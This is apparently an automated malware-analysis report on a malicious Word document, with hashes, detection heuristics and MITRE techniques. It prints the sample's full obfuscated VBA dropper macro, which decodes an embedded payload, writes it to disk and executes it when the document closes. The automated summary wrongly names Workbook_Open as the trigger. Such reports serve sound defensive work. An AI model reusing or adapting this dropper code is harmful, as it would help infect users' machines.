Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 641d1e752250d275…

MALICIOUS

Office (OLE)

1.02 MB Created: 2020-05-18 02:08:00 First seen: 2020-07-24
MD5: c031b786cb0a7479cc72d299dab2f0e3 SHA-1: 10fa9313309a00955ec8f49b639909c4ed124ac4 SHA-256: 641d1e752250d27556de774dbb3692d24c4236595ee0e26cc055d4ab5e9cdbe0
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros that are automatically executed upon opening the document, indicated by the Workbook_Open auto-execution and CreateObject calls. The script attempts to create a directory and write obfuscated content to files, likely to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-7860379-0' further supports its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7860379-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7860379-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/coverPagePropsIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2214 bytes
SHA-256: 58761c1fb6ba7b837d30c88a7c4e19fa3ad269a898787efa005d7176a248d06c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim AQO(12) As String
Dim QRJQA(11) As String
Dim CDXPO As String
Dim IEM() As Byte
DBH = ThisDocument.Path
IQMIHV = Mid("HN\KENQABWNCTSV", 3, 1) & "PBCI"
DBH = DBH & IQMIHV
LOEGB = QFBJR.SDSYD.Text
Open DBH For Output As #1
Print #1, LOEGB
Close #1
Open DBH For Input As #2
Do While Not EOF(2)
    Input #2, RDKRJRT, TCBO
Loop
Close #2
Kill DBH
LCDXRX = Split(RDKRJRT, "SUS", -1)
YFHRU = 0
Do While YFHRU <= 8
    LCDXRX(YFHRU) = Replace(LCDXRX(YFHRU), "YRYJYFTQN", "")
    If YFHRU > 1 And YFHRU < 7 Then
        LCDXRX(YFHRU) = Replace(LCDXRX(YFHRU), "BIPGVMTSBY", Mid("YSYRLQSHTCI.BQPI", 12, 1))
    ElseIf YFHRU = 0 Or YFHRU = 1 Or YFHRU = 8 Then
        LCDXRX(YFHRU) = Replace(LCDXRX(YFHRU), "BIPGVMTSBY", "")
    End If
    YFHRU = YFHRU + 1
Loop
TCBO = Replace(TCBO, "*", LCDXRX(8))
TCBO = Replace(TCBO, "{", "a")
TCBO = Replace(TCBO, "&", "k")
TCBO = Replace(TCBO, ":", "j")
CDXPO = Environ(LCDXRX(1)) & LCDXRX(7)
MkDir (CDXPO)
QRJQA(0) = LCDXRX(0) & TCBO
AQO(1) = CDXPO & LCDXRX(2)
AQO(2) = CDXPO & LCDXRX(3)
For TPBH = 0 To 2
    With CreateObject(LCDXRX(4)).createElement("KQ")
    .DataType = LCDXRX(6)
    .Text = QRJQA(TPBH)
    IEM = .nodeTypedValue
    End With
    If TPBH = 0 Then
        IREB = StrConv(IEM, vbUnicode)
        QRJQA(1) = Left(IREB, 240984)
        QRJQA(2) = Right(IREB, Len(IREB) - 240984)
    Else
        Open AQO(TPBH) For Binary As #1
        Put #1, , IEM
        Close #1
    End If
Next
With CreateObject(LCDXRX(5)).Run(AQO(2), 0, False)
End With
End Sub


Attribute VB_Name = "QFBJR"
Attribute VB_Base = "0{42624DFB-B4A4-418B-85EF-6C4955BBB1BB}{17B44BF8-80D0-41CF-864C-51EBDDAA51DD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False